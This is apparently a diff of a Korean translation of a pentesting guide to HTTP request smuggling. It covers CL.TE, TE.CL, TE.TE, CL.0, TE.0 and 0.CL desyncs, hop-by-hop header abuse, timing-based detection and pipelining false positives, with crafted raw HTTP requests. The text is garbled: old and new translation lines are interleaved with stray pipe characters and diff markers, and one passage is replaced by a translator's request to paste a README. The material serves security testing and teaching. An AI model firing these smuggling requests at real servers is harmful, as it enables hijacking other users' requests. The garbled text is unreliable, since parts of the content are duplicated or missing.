- **Content-Length**: 이 헤더는 요청 본문의 바이트 수를 나타내기 위해 **십진수(decimal)** 숫자를 사용합니다. 본문은 마지막 문자에서 끝나는 것으로 기대되며, **요청 끝에 새 줄이 필요하지 않습니다**.
|
||||
- **Transfer-Encoding:** 이 헤더는 본문에서 **다음 청크의 바이트 수를 나타내기 위해 16진수(hexadecimal)** 숫자를 사용합니다. 각 **청크는 새 줄로 끝나야** 하지만 이 새 줄은 길이 지시자에 포함되지 않습니다. 이 전송 방식은 **크기가 0인 청크와 그 뒤에 2개의 새 줄**로 끝나야 합니다: `0`
|
||||
- **Connection**: 제 경험상, Request Smuggling의 첫 번째 요청에는 **`Connection: keep-alive`**를 사용하는 것이 권장됩니다.
|
||||
|
||||
## 기본 예제
|
||||
### Visible - Hidden
|
||||
|
||||
HTTP/1.1의 주요 문제는 모든 요청이 같은 TCP 소켓으로 들어오므로, 두 시스템 간에 불일치가 있으면 하나의 요청을 최종 백엔드(또는 중간 시스템)에 의해 2개 이상의 서로 다른 요청으로 처리되게 보낼 수 있다는 것입니다.
|
||||
|
||||
**[This blog post](https://portswigger.net/research/http1-must-die)**는 WAF에 의해 탐지되지 않는 시스템에 대한 desync 공격을 탐지하는 새로운 방법을 제시합니다. 이를 위해 Visible vs Hidden 동작을 소개합니다. 이 경우의 목표는 실제로 아무것도 악용하지 않고도 desync를 유발할 수 있는 기법을 사용해 응답의 불일치를 찾으려는 것입니다.
|
||||
|
||||
예를 들어, 정상적인 Host 헤더와 " host" 헤더(앞에 공백 포함)를 함께 전송했을 때, 백엔드가 이 요청에 대해 불만을 표시한다면(예: " host"의 값이 잘못되었다는 이유 등) 이는 프론트엔드가 " host" 헤더를 보지 못했지만 최종 백엔드는 그것을 사용했음을 의미할 수 있으며, 이는 프론트엔드와 백엔드 사이의 desync를 강하게 시사합니다.
|
||||
|
||||
이것은 **Hidden-Visible 불일치**가 됩니다.
|
||||
|
||||
반대로 프론트엔드가 " host" 헤더를 고려했지만 백엔드가 고려하지 않았다면, 이것은 **Visible-Hidden** 상황이 될 수 있습니다.
|
||||
|
||||
예를 들어, AWS ALB를 프론트엔드로 사용하고 IIS를 백엔드로 사용하는 환경에서 desync를 발견할 수 있었습니다. "Host: foo/bar"를 보냈을 때 ALB는 `400, Server; awselb/2.0`을 반환했지만, "Host : foo/bar"(호스트 이름 앞의 공백 포함)를 보냈을 때는 `400, Server: Microsoft-HTTPAPI/2.0`을 반환하여 백엔드가 응답을 보내고 있음을 나타냈습니다. 이는 Hidden-Visible(H-V) 상황입니다.
|
||||
|
||||
이 상황은 AWS에서 자동으로 수정되지는 않았지만, `routing.http.drop_invalid_header_fields.enabled`를 설정하고 `routing.http.desync_mitigation_mode = strictest`로 설정하면 방지할 수 있습니다.
|
||||
|
||||
|
||||
## 기본 예시
|
||||
|
||||
> [!TIP]
|
||||
> Burp Suite로 이 취약점을 시도할 때는 repeater에서 `Update Content-Length` 및 `Normalize HTTP/1 line endings`를 비활성화하세요. 일부 가젯은 newlines, carriage returns 및 malformed content-lengths를 악용합니다.
|
||||
> Burp Suite로 이를 시도할 때는 리피터에서 **`Update Content-Length`와 `Normalize HTTP/1 line endings`를 비활성화**하세요. 일부 gadget은 개행, carriage return 및 잘못된 content-length를 악용합니다.
|
||||
|
||||
HTTP request smuggling 공격은 front-end와 back-end 서버가 `Content-Length`(CL)와 `Transfer-Encoding`(TE) 헤더를 해석하는 방식의 불일치를 악용하도록 모호한 요청을 전송하여 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, **TE.TE**의 형태로 나타납니다. 각 유형은 front-end와 back-end가 해당 헤더들을 우선적으로 처리하는 서로 다른 조합을 나타냅니다. 취약점은 동일한 요청을 서버들이 서로 다르게 처리하면서 발생하며, 이는 예기치 않은 및 악의적인 결과를 초래할 수 있습니다.
|
||||
HTTP request smuggling 공격은 프론트엔드와 백엔드 서버가 `Content-Length`(CL)와 `Transfer-Encoding`(TE) 헤더를 해석하는 방식의 불일치를 악용하는 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, **TE.TE** 형태로 나타납니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 방식의 고유한 조합을 나타냅니다. 취약점은 동일한 요청을 서로 다르게 처리함으로써 예기치 않은, 잠재적으로 악의적인 결과가 발생할 때 생깁니다.
|
||||
|
||||
### 취약점 유형의 기본 예시
|
||||
|
||||

|
||||
|
||||
> [!TIP]
|
||||
> 위 테이블에는 TE.0 기법을 추가해야 합니다. CL.0 기법과 유사하지만 Transfer-Encoding을 사용하는 방식입니다.
|
||||
> 앞의 표에는 TE.0 기법도 추가해야 합니다. CL.0 기법과 유사하지만 Transfer-Encoding을 사용합니다.
|
||||
|
||||
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||
|
||||
- **Front-End (CL):** `Content-Length` 헤더를 기준으로 요청을 처리합니다.
|
||||
- **Back-End (TE):** `Transfer-Encoding` 헤더를 기준으로 요청을 처리합니다.
|
||||
- **Attack Scenario:**
|
||||
- 공격자는 `Content-Length` 헤더 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 전송합니다.
|
||||
- front-end 서버는 `Content-Length` 값에 따라 전체 요청을 back-end로 전달합니다.
|
||||
- back-end 서버는 `Transfer-Encoding: chunked` 헤더 때문에 요청을 청크 방식으로 처리하여 남은 데이터를 별도의 후속 요청으로 해석합니다.
|
||||
- **Example:**
|
||||
- **Front-End (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
|
||||
- **Back-End (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
|
||||
- **공격 시나리오:**
|
||||
|
||||
- 공격자는 `Content-Length` 헤더의 값이 실제 콘텐츠 길이와 맞지 않는 요청을 보냅니다.
|
||||
- 프론트엔드는 `Content-Length` 값에 따라 전체 요청을 백엔드로 전달합니다.
|
||||
- 백엔드는 `Transfer-Encoding: chunked` 헤더 때문에 요청을 청크 방식으로 처리하여 나머지 데이터를 별도의 후속 요청으로 해석합니다.
|
||||
- **예시:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -82,13 +93,14 @@ Foo: x
|
||||
|
||||
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
|
||||
|
||||
- **Front-End (TE):** `Transfer-Encoding` 헤더를 기준으로 요청을 처리합니다.
|
||||
- **Back-End (CL):** `Content-Length` 헤더를 기준으로 요청을 처리합니다.
|
||||
- **Attack Scenario:**
|
||||
- 공격자는 청크 크기(`7b`)와 실제 콘텐츠 길이(`Content-Length: 4`)가 일치하지 않는 chunked 요청을 보냅니다.
|
||||
- front-end 서버는 `Transfer-Encoding`을 존중하여 전체 요청을 back-end로 전달합니다.
|
||||
- back-end 서버는 `Content-Length`만을 따르며 요청의 초기 부분(`7b` 바이트)만 처리하고, 나머지는 의도치 않은 후속 요청의 일부로 남깁니다.
|
||||
- **Example:**
|
||||
- **Front-End (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
|
||||
- **Back-End (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
|
||||
- **공격 시나리오:**
|
||||
|
||||
- 공격자는 청크 사이즈(`7b`)와 실제 컨텐츠 길이(`Content-Length: 4`)가 일치하지 않는 chunked 요청을 보냅니다.
|
||||
- 프론트엔드는 `Transfer-Encoding`을 따르며 전체 요청을 백엔드로 전달합니다.
|
||||
- 백엔드는 `Content-Length`를 존중하여 요청의 초기 부분(예: `7b` 바이트)만 처리하고, 나머지는 의도치 않은 후속 요청의 일부로 남깁니다.
|
||||
- **예시:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -110,12 +122,13 @@ x=
|
||||
|
||||
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||
|
||||
- **Servers:** 둘 다 `Transfer-Encoding`을 지원하지만, 하나는 난독화를 통해 이를 인식하지 못하게 만들 수 있습니다.
|
||||
- **Attack Scenario:**
|
||||
- 공격자는 obfuscated된 `Transfer-Encoding` 헤더들을 포함한 요청을 보냅니다.
|
||||
- 어느 서버(front-end 또는 back-end)가 난독화를 인식하지 못하느냐에 따라 CL.TE 또는 TE.CL 취약점이 발생할 수 있습니다.
|
||||
- 한 서버가 처리하지 못한 요청의 나머지 부분이 후속 요청의 일부가 되어 smuggling이 발생합니다.
|
||||
- **Example:**
|
||||
- **서버들:** 둘 다 `Transfer-Encoding`을 지원하지만, 한쪽은 난독화로 인해 이를 무시하도록 속일 수 있습니다.
|
||||
- **공격 시나리오:**
|
||||
|
||||
- 공격자는 난독화된 `Transfer-Encoding` 헤더들을 포함한 요청을 보냅니다.
|
||||
- 프론트엔드나 백엔드 중 어느 쪽이 난독화를 인식하지 못하느냐에 따라 CL.TE 또는 TE.CL 취약점을 악용할 수 있습니다.
|
||||
- 한 서버가 보지 못한 요청의 남은 부분이 후속 요청의 일부가 되어 smuggling이 발생합니다.
|
||||
- **예시:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -134,11 +147,11 @@ Transfer-Encoding
|
||||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||
#### **CL.CL 시나리오 (Content-Length used by both Front-End and Back-End)**
|
||||
|
||||
- 양쪽 서버 모두 `Content-Length` 헤더만을 기준으로 요청을 처리합니다.
|
||||
- 일반적으로 두 서버가 요청 길이를 동일하게 해석하므로 smuggling으로 이어지지 않습니다.
|
||||
- **Example:**
|
||||
- 양쪽 서버 모두 `Content-Length` 헤더만으로 요청을 처리합니다.
|
||||
- 이 시나리오는 일반적으로 smuggling으로 이어지지 않는데, 두 서버가 요청 길이를 일치되게 해석하기 때문입니다.
|
||||
- **예시:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -149,11 +162,11 @@ Connection: keep-alive
|
||||
Normal Request
|
||||
```
|
||||
|
||||
#### **CL.0 Scenario**
|
||||
#### **CL.0 시나리오**
|
||||
|
||||
- `Content-Length` 헤더가 존재하고 0이 아닌 값을 가지는 상황을 가리킵니다. 이 경우 back-end는 `Content-Length`를 무시(0으로 처리)하지만 front-end는 이를 파싱합니다.
|
||||
- 이는 smuggling을 이해하고 제작하는 데 중요합니다. 서버들이 요청의 끝을 어떻게 판단하는지에 영향을 미칩니다.
|
||||
- **Example:**
|
||||
- `Content-Length` 헤더가 존재하고 0이 아닌 값을 가지는 시나리오를 지칭합니다. 이 경우 백엔드는 `Content-Length` 헤더를(0으로 처리하여) 무시하지만 프론트엔드는 이를 파싱합니다.
|
||||
- 이는 서버가 요청의 끝을 결정하는 방식에 영향을 미치기 때문에 request smuggling을 이해하고 구성하는 데 중요합니다.
|
||||
- **예시:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -164,11 +177,11 @@ Connection: keep-alive
|
||||
Non-Empty Body
|
||||
```
|
||||
|
||||
#### TE.0 Scenario
|
||||
#### TE.0 시나리오
|
||||
|
||||
- 이전과 유사하지만 TE를 사용하는 경우입니다.
|
||||
- 앞의 경우와 유사하지만 TE를 사용하는 경우입니다.
|
||||
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **Example**:
|
||||
- **예시**:
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
Host: {HOST}
|
||||
@ -186,15 +199,39 @@ x: X
|
||||
EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
#### 웹 서버 중단시키기
|
||||
#### `0.CL` 시나리오
|
||||
|
||||
이 기법은 초기 HTTP 데이터를 읽는 동안 **웹 서버를 중단시킬 수 있는** 상황에서도 유용하며, 특히 연결을 **닫지 않고** 유지할 수 있을 때 그렇습니다. 이렇게 하면 HTTP 요청의 **body**는 **next HTTP request**로 간주됩니다.
|
||||
`0.CL` 상황에서는 Content-Length가 다음과 같이 설정된 request가 전송됩니다:
|
||||
```
|
||||
GET /Logon HTTP/1.1
|
||||
Host: <redacted>
|
||||
Content-Length:
|
||||
7
|
||||
|
||||
예를 들어, [**this writeup**](https://mizu.re/post/twisty-python)에서 설명된 것처럼, Werkzeug에서는 일부 **Unicode** 문자를 전송하면 서버가 **break**될 수 있었습니다. 그러나 HTTP 연결이 헤더 **`Connection: keep-alive`**로 생성되었다면 요청의 body는 읽히지 않고 연결은 계속 열려 있으므로, 요청의 **body**는 **next HTTP request**로 처리됩니다.
|
||||
GET /404 HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
그리고 front-end는 `Content-Length`를 고려하지 않기 때문에 예제에서 7까지인 첫 번째 요청만 backend로 전송합니다. 그러나 backend는 `Content-Length`를 보고 본문을 기다리는데, front-end가 이미 응답을 기다리고 있어 본문이 도착하지 않습니다.
|
||||
|
||||
#### hop-by-hop headers를 통한 강제
|
||||
하지만 backend로 보낸 요청의 본문을 받기 전에 응답하는 요청이 있다면 이 교착 상태는 발생하지 않습니다. 예를 들어 IIS에서는 `/con`과 같은 금지된 이름으로 요청을 보내면 (자세한 내용은 [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)을 확인하세요), 초기 요청은 바로 응답되고 두 번째 요청에는 피해자의 요청이 포함됩니다:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
X: yGET /victim HTTP/1.1
|
||||
Host: <redacted>
|
||||
```
|
||||
이는 desync를 유발하는 데 유용하지만, 지금까지는 아무 영향이 없다.
|
||||
|
||||
hop-by-hop headers를 악용하면 프록시에 **헤더 Content-Length 또는 Transfer-Encoding을 삭제하도록 지시하여 HTTP request smuggling을 악용할 수 있다**.
|
||||
하지만 이 포스트는 이를 **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**로 변환함으로써 해결책을 제시한다.
|
||||
|
||||
#### 웹 서버 중단
|
||||
|
||||
이 기법은 초기 HTTP 데이터를 읽는 동안 웹 서버를 **중단시키는 것이 가능하지만 연결을 닫지 않는** 상황에서도 유용하다. 이렇게 하면 HTTP 요청의 **body**가 **다음 HTTP 요청**으로 간주된다.
|
||||
|
||||
예를 들어, [**this writeup**](https://mizu.re/post/twisty-python)에 설명된 것처럼, Werkzeug에서는 일부 **Unicode** 문자를 전송하면 서버가 **중단**될 수 있었다. 그러나 HTTP 연결이 헤더 **`Connection: keep-alive`**로 생성된 경우 요청의 body는 읽히지 않고 연결은 계속 열려 있으므로, 요청의 **body**는 **다음 HTTP 요청**으로 처리된다.
|
||||
|
||||
#### hop-by-hop 헤더를 통한 강제화
|
||||
|
||||
hop-by-hop 헤더를 악용하면 프록시에게 **Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시하여 HTTP request smuggling을 악용할 수 있다**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
@ -205,16 +242,16 @@ For **more information about hop-by-hop headers** visit:
|
||||
../abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
|
||||
## Finding HTTP Request Smuggling
|
||||
## HTTP Request Smuggling 찾기
|
||||
|
||||
HTTP request smuggling 취약점을 식별하는 것은 종종 타이밍 기법을 통해 가능하며, 이는 조작된 요청에 대한 서버의 응답 시간이 얼마나 걸리는지를 관찰하는 데 의존합니다. 이러한 기법은 특히 CL.TE 및 TE.CL 취약점을 탐지하는 데 유용합니다. 이 방법들 외에도 취약점을 찾기 위해 사용할 수 있는 다른 전략과 도구들이 있습니다:
|
||||
HTTP request smuggling 취약점을 식별하는 것은 종종 타이밍 기법을 사용하여 달성할 수 있으며, 이는 조작된 요청에 대해 서버가 응답하는 데 걸리는 시간을 관찰하는 데 의존합니다. 이러한 기법은 특히 CL.TE 및 TE.CL 취약점을 탐지하는 데 유용합니다. 이 방법들 외에도 해당 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구들이 있습니다:
|
||||
|
||||
### Finding CL.TE Vulnerabilities Using Timing Techniques
|
||||
### 타이밍 기법으로 CL.TE 취약점 찾기
|
||||
|
||||
- **Method:**
|
||||
- **방법:**
|
||||
|
||||
- 애플리케이션이 취약한 경우 백엔드 서버가 추가 데이터를 기다리게 만드는 요청을 전송합니다.
|
||||
- **Example:**
|
||||
- 취약할 경우 백엔드 서버가 추가 데이터를 기다리게 만드는 요청을 전송합니다.
|
||||
- **예시:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -228,20 +265,20 @@ A
|
||||
0
|
||||
```
|
||||
|
||||
- **Observation:**
|
||||
- 프론트엔드 서버가 `Content-Length` 기준으로 요청을 처리하고 메시지를 조기에 잘라냅니다.
|
||||
- 백엔드 서버는 chunked 메시지를 기대하고 다음 청크를 기다리므로 응답 지연이 발생합니다.
|
||||
- **관찰:**
|
||||
- 프론트엔드 서버는 `Content-Length`를 기준으로 요청을 처리하여 메시지를 조기에 잘라냅니다.
|
||||
- 백엔드 서버는 chunked 메시지를 기대하고 다음 청크를 기다리지만 도착하지 않아 지연이 발생합니다.
|
||||
|
||||
- **Indicators:**
|
||||
- 타임아웃 또는 긴 응답 지연.
|
||||
- 때때로 상세한 서버 정보와 함께 백엔드에서 400 Bad Request 오류 수신.
|
||||
- **지표:**
|
||||
- 응답 지연 또는 타임아웃.
|
||||
- 때때로 자세한 서버 정보와 함께 백엔드 서버에서 400 Bad Request 오류를 수신함.
|
||||
|
||||
### Finding TE.CL Vulnerabilities Using Timing Techniques
|
||||
### 타이밍 기법으로 TE.CL 취약점 찾기
|
||||
|
||||
- **Method:**
|
||||
- **방법:**
|
||||
|
||||
- 애플리케이션이 취약한 경우 백엔드 서버가 추가 데이터를 기다리게 만드는 요청을 전송합니다.
|
||||
- **Example:**
|
||||
- 취약할 경우 백엔드 서버가 추가 데이터를 기다리게 만드는 요청을 전송합니다.
|
||||
- **예시:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -254,42 +291,50 @@ Content-Length: 6
|
||||
X
|
||||
```
|
||||
|
||||
- **Observation:**
|
||||
- 프론트엔드 서버가 `Transfer-Encoding` 기준으로 요청을 처리하고 전체 메시지를 전달합니다.
|
||||
- 백엔드 서버는 `Content-Length` 기준의 메시지를 기대하고 추가 데이터를 기다리므로 지연이 발생합니다.
|
||||
- **관찰:**
|
||||
- 프론트엔드 서버는 `Transfer-Encoding`을 기준으로 요청을 처리하고 전체 메시지를 전달합니다.
|
||||
- 백엔드 서버는 `Content-Length` 기반 메시지를 기대하고 추가 데이터를 기다리지만 도착하지 않아 지연이 발생합니다.
|
||||
|
||||
### Other Methods to Find Vulnerabilities
|
||||
### 기타 취약점 발견 방법
|
||||
|
||||
- **Differential Response Analysis:**
|
||||
- 약간씩 다른 버전의 요청을 보내고 서버 응답에 예상치 못한 차이가 있는지 관찰하여 파싱 불일치를 탐지합니다.
|
||||
- **Using Automated Tools:**
|
||||
- Burp Suite의 'HTTP Request Smuggler' extension과 같은 도구는 모호한 형태의 다양한 요청을 자동으로 전송하고 응답을 분석하여 이러한 취약점을 테스트할 수 있습니다.
|
||||
- **Content-Length Variance Tests:**
|
||||
- 실제 콘텐츠 길이와 일치하지 않는 다양한 `Content-Length` 값을 가진 요청을 보내 서버가 이러한 불일치를 어떻게 처리하는지 관찰합니다.
|
||||
- **Transfer-Encoding Variance Tests:**
|
||||
- 난독화되거나 손상된 `Transfer-Encoding` 헤더가 포함된 요청을 전송하고 프론트엔드와 백엔드 서버가 이러한 조작에 대해 어떻게 다르게 반응하는지 모니터링합니다.
|
||||
- **차별 응답 분석:**
|
||||
- 약간씩 다른 버전의 요청을 전송하고 서버 응답이 예기치 않게 달라지는지 관찰하여 파싱 불일치를 식별합니다.
|
||||
- **자동화 도구 사용:**
|
||||
- Burp Suite의 'HTTP Request Smuggler' 확장과 같은 도구는 다양한 형태의 모호한 요청을 전송하고 응답을 분석하여 이러한 취약점을 자동으로 테스트할 수 있습니다.
|
||||
- **Content-Length 가변성 테스트:**
|
||||
- 실제 콘텐츠 길이와 일치하지 않는 다양한 `Content-Length` 값을 가진 요청을 전송하고 서버가 이러한 불일치를 어떻게 처리하는지 관찰합니다.
|
||||
- **Transfer-Encoding 가변성 테스트:**
|
||||
- 난독화되거나 잘못된 형식의 `Transfer-Encoding` 헤더를 가진 요청을 전송하고 프론트엔드와 백엔드 서버가 이러한 조작에 어떻게 다르게 반응하는지 모니터링합니다.
|
||||
|
||||
### HTTP Request Smuggling Vulnerability Testing
|
||||
### The `Expect: 100-continue` header
|
||||
|
||||
타이밍 기법의 유효성을 확인한 후에는 클라이언트 요청이 조작 가능한지 검증하는 것이 중요합니다. 간단한 방법은 요청을 포이즈닝(poisoning)하는 것을 시도하는 것으로, 예를 들어 `/`에 대한 요청이 404 응답을 반환하도록 만드는 것입니다. 앞서 [Basic Examples](#basic-examples)에서 논의한 `CL.TE` 및 `TE.CL` 예시는 클라이언트가 다른 리소스에 접근하려는 상황에서도 클라이언트의 요청을 포이즈닝하여 404 응답을 유도하는 방법을 보여줍니다.
|
||||
이 헤더가 http desync를 악용하는 데 어떻게 도움이 되는지 확인:
|
||||
|
||||
**Key Considerations**
|
||||
{{#ref}}
|
||||
../special-http-headers.md
|
||||
{{#endref}}
|
||||
|
||||
다른 요청을 방해하여 request smuggling 취약점을 테스트할 때 유의할 점:
|
||||
### HTTP Request Smuggling 취약점 테스트
|
||||
|
||||
- **Distinct Network Connections:** "attack" 요청과 "normal" 요청은 별개의 네트워크 연결을 통해 전송해야 합니다. 동일한 연결을 사용하면 취약점 존재를 검증할 수 없습니다.
|
||||
- **Consistent URL and Parameters:** 두 요청에 대해 동일한 URL과 파라미터 이름을 사용하도록 하십시오. 현대 애플리케이션은 URL과 파라미터에 따라 특정 백엔드 서버로 라우팅하는 경우가 많습니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아져 공격 성공 확률이 증가합니다.
|
||||
- **Timing and Racing Conditions:** 간섭을 감지하려는 "normal" 요청은 "attack" 요청과 경쟁하므로, "attack" 요청 직후 즉시 "normal" 요청을 보내야 합니다. 트래픽이 많은 애플리케이션에서는 명확한 취약점 확인을 위해 여러 번 시도해야 할 수 있습니다.
|
||||
- **Load Balancing Challenges:** 프론트엔드 서버가 로드 밸런싱을 수행하면 요청이 서로 다른 백엔드 시스템으로 분배될 수 있습니다. "attack" 요청과 "normal" 요청이 다른 시스템에 할당되면 공격은 실패합니다. 이 때문에 취약점 확인을 위해 여러 번 시도해야 할 수 있습니다.
|
||||
- **Unintended User Impact:** 공격이 의도치 않게 다른 사용자의 요청(테스트용 "normal" 요청이 아닌)에 영향을 미친다면, 이는 당신의 공격이 다른 애플리케이션 사용자의 요청에 영향을 준다는 의미입니다. 지속적인 테스트는 다른 사용자를 방해할 수 있으므로 주의가 필요합니다.
|
||||
타이밍 기법의 효과가 확인되면 클라이언트 요청을 조작할 수 있는지 검증하는 것이 중요합니다. 간단한 방법은 요청을 poisoning하여 `/`에 대한 요청이 404 응답을 반환하도록 시도하는 것입니다. 앞서 [Basic Examples](#basic-examples)에서 논의한 `CL.TE` 및 `TE.CL` 예시는 클라이언트가 다른 리소스에 접근하려 할 때에도 클라이언트의 요청을 poisoning하여 404 응답을 유도하는 방법을 보여줍니다.
|
||||
|
||||
## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
|
||||
**주요 고려사항**
|
||||
|
||||
Connection reuse (keep-alive) 및 pipelining은 동일한 소켓에서 여러 요청을 보내는 테스트 도구에서 쉽게 "smuggling"의 환상을 만들어냅니다. 무해한 클라이언트 측 아티팩트와 실제 서버 측 desync를 구분하는 법을 익히세요.
|
||||
테스트 중 다른 요청을 간섭시키며 request smuggling 취약점을 확인할 때 다음을 유의하세요:
|
||||
|
||||
### Why pipelining creates classic false positives
|
||||
- **별도의 네트워크 연결:** "attack"과 "normal" 요청은 별도의 네트워크 연결로 전송되어야 합니다. 둘을 동일한 연결에서 보내면 취약점이 존재한다고 판단할 수 없습니다.
|
||||
- **일관된 URL 및 파라미터:** 두 요청 모두에 대해 동일한 URL과 파라미터 이름을 사용하도록 하세요. 최신 애플리케이션은 종종 URL 및 파라미터에 따라 특정 백엔드 서버로 요청을 라우팅합니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 공격 성공을 위해 전제 조건입니다.
|
||||
- **타이밍 및 레이스 조건:** "normal" 요청은 "attack" 요청의 간섭을 감지하기 위해 보내는 것으로, 다른 동시 애플리케이션 요청들과 경쟁합니다. 따라서 "attack" 요청 직후에 "normal" 요청을 보내세요. 트래픽이 많은 애플리케이션의 경우 결론적 취약점 확인을 위해 여러 번 시도해야 할 수 있습니다.
|
||||
- **로드 밸런싱 문제:** 프론트엔드 서버가 로드 밸런서 역할을 하면 요청을 다양한 백엔드 시스템으로 분산시킬 수 있습니다. "attack"과 "normal" 요청이 서로 다른 시스템으로 전달되면 공격은 성공하지 않습니다. 이 로드 밸런싱 요소 때문에 취약점을 확인하려면 여러 번 시도해야 할 수 있습니다.
|
||||
- **의도치 않은 사용자 영향:** 공격이 의도치 않게 다른 사용자의 요청(탐지용으로 보낸 "normal" 요청이 아닌)에 영향을 미친다면, 이는 공격이 다른 애플리케이션 사용자를 영향받게 했다는 뜻입니다. 계속된 테스트는 다른 사용자를 방해할 수 있으므로 주의가 필요합니다.
|
||||
|
||||
HTTP/1.1은 단일 TCP/TLS 연결을 재사용하고 동일한 스트림에 요청과 응답을 연속으로 붙입니다. pipelining에서는 클라이언트가 여러 요청을 연속으로 전송하고 순서대로 응답받기를 기대합니다. 흔한 false-positive 사례는 단일 연결에서 변형된 CL.0-style payload를 두 번 재전송하는 것입니다:
|
||||
## HTTP/1.1 pipelining 아티팩트와 진짜 request smuggling 구분하기
|
||||
|
||||
연결 재사용(keep-alive)과 pipelining은 동일 소켓에서 여러 요청을 전송하는 테스트 도구에서 "smuggling"의 착시를 쉽게 유발할 수 있습니다. 무해한 클라이언트 측 아티팩트와 실제 서버 측 desync를 구분하는 법을 배우세요.
|
||||
|
||||
### 왜 pipelining이 고전적 오탐을 발생시키는가
|
||||
|
||||
HTTP/1.1은 단일 TCP/TLS 연결을 재사용하고 동일한 스트림에서 요청과 응답을 연결합니다. pipelining에서는 클라이언트가 여러 요청을 연달아 전송하고 순서대로 응답을 받기를 기대합니다. 흔한 오탐 사례는 단일 연결에서 잘못된 CL.0-스타일 페이로드를 두 번 재전송하는 것입니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -298,7 +343,7 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
원본 README.md 파일의 내용을 붙여 넣어 주세요. 해당 내용을 받은 뒤, 지시에 따라 코드·태그·링크 등을 그대로 유지하면서 영어 본문만 한국어로 번역해 드리겠습니다.
|
||||
해당 README.md 파일 내용을 여기에 붙여넣어 주세요. 내용을 받으면 한국어로 번역해 드리겠습니다.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -326,42 +371,42 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Impact: 없음. 클라이언트의 프레이밍이 서버와 비동기화되었습니다.
|
||||
Impact: 없음. 클라이언트의 프레이밍이 서버와 어긋났습니다.
|
||||
|
||||
> [!TIP]
|
||||
> 재사용/파이프라이닝에 의존하는 Burp 모듈: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
|
||||
> Burp 모듈(재사용/파이프라이닝에 의존하는): Turbo Intruder (`requestsPerConnection>1` 설정), Intruder의 "HTTP/1 connection reuse", Repeater의 "Send group in sequence (single connection)" 또는 "Enable connection reuse".
|
||||
|
||||
### Litmus tests: pipelining or real desync?
|
||||
|
||||
1. Disable reuse and re-test
|
||||
- Burp Intruder/Repeater에서 HTTP/1 reuse를 끄고 "Send group in sequence" 옵션을 피하세요.
|
||||
- Turbo Intruder에서는 `requestsPerConnection=1` 및 `pipeline=False`로 설정하세요.
|
||||
- 동작이 사라지면, connection-locked/stateful 대상이나 client-side desync를 다루는 경우를 제외하고는 클라이언트 측 pipelining일 가능성이 큽니다.
|
||||
- Burp Intruder/Repeater에서 HTTP/1 reuse를 끄고 "Send group in sequence"를 피합니다.
|
||||
- Turbo Intruder에서는 `requestsPerConnection=1` 및 `pipeline=False`로 설정합니다.
|
||||
- 동작이 사라지면, connection-locked/stateful 대상이거나 클라이언트 측 desync가 아닌 이상 클라이언트 측 pipelining일 가능성이 큽니다.
|
||||
2. HTTP/2 nested-response check
|
||||
- HTTP/2 요청을 전송하세요. 응답 본문에 완전한 nested HTTP/1 응답이 포함되어 있다면, 순수한 클라이언트 아티팩트가 아니라 백엔드 파싱/desync 버그를 증명한 것입니다.
|
||||
- HTTP/2 요청을 전송합니다. 응답 본문에 완전한 중첩된 HTTP/1 응답이 들어있다면, 순수한 클라이언트 인공물이 아니라 백엔드 파싱/desync 버그를 증명한 것입니다.
|
||||
3. Partial-requests probe for connection-locked front-ends
|
||||
- 일부 FE는 클라이언트가 자신의 연결을 재사용했을 때만 업스트림 BE 연결을 재사용합니다. partial-requests를 사용해 클라이언트 재사용을 반영하는 FE 동작을 탐지하세요.
|
||||
- connection-locked 기법에 대해서는 PortSwigger "Browser‑Powered Desync Attacks"를 참조하세요.
|
||||
